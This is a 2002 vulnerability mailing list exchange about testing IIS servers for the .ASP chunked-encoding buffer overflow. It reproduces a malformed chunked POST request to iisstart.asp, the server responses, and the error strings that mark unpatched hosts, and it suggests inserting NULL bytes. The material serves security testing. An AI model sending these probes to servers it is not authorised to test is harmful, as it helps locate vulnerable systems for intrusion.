Vulnerability Development mailing list archives
Re: Re[2]: IIS .ASP Remote Buffer Overflow [testing for vulnerable installations]
From: "Riley Hassell" <rhassell () eeye com>
Date: Sat, 13 Apr 2002 08:27:03 -0700
It looks like it's failing with a 404 and defaulting to an error page. Run you tests on a machine that has the default iisstart.asp file. The one you're testing doesn't appear to. telnet www.security.nnov.ru 80 ----session--- POST /iisstart.asp HTTP/1.1 Accept: */* Host: www.security.nnov.ru Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked 1 E 0 HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 Date: Sat, 13 Apr 2002 15:27:49 GMT HTTP/1.1 404 Object Not Found Server: Microsoft-IIS/5.0 Date: Sat, 13 Apr 2002 15:27:49 GMT Connection: close Content-Type: text/html Content-Length: 1737 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <script language="JavaScript"> if(top.frames[0]!=null){ top.location.replace("/index.asp"); } else top.location.replace("."); </script> <!-- <head> <title>?°?ß?? 404</title><link rel="STYLESHEET" type="text/cs /style/normal.css"> .... ----- Original Message ----- From: "3APA3A" <3APA3A () SECURITY NNOV RU> To: "Riley Hassell" <rhassell () eeye com> Cc: <vuln-dev () securityfocus com> Sent: Saturday, April 13, 2002 1:28 AM Subject: Re[2]: IIS .ASP Remote Buffer Overflow [testing for vulnerable installations]
Dear Riley Hassell, --Saturday, April 13, 2002, 2:15:47 AM, you wrote to
vuln-dev () securityfocus com:
RH> "POST /iisstart.asp HTTP/1.1\r\n" RH> "Accept: */*\r\n" RH> "Host: eeye.com\r\n" RH> "Content-Type: application/x-www-form-urlencoded\r\n" RH> "Transfer-Encoding: chunked\r\n" RH> "\r\n" RH> "1\r\n" RH> "E\r\n" RH> "0\r\n" RH> "\r\n" RH> "\r\n" RH> "\r\n" In my case it produces no error and simply responses with page content
after
"\r\n" "1\r\n" "E\r\n" "0\r\n" "\r\n" RH> It won't overwrite anything mission critical so the dllhost shouldn't
lock
RH> up or exit. If you're vulnerable then you'll the following string in
the
RH> error message "(0x80004005)<br>Unspecified". When a server is patched
it
RH> will respond with a new error, I believe it's
(0x80004005)<br>Request...
RH> You can also try putting NULL's in strange places in you request. The
rollup
RH> fixes a problem in parsing requests with NULLs. When IIS see's
something
RH> invalid in a request it will error back with "parameter incorrect", on
an
RH> unpatched system the responses will vary. -- ~/ZARAZA ...áåç äóáèíêè íèêîãäà íå ïðèíèìàëñÿ îí çà ïðîãðàììèðîâàíèå. (Ëåì)
Current thread:
- A Dozen Eggs for Easter! Rhinestone Cowboy (Mar 31)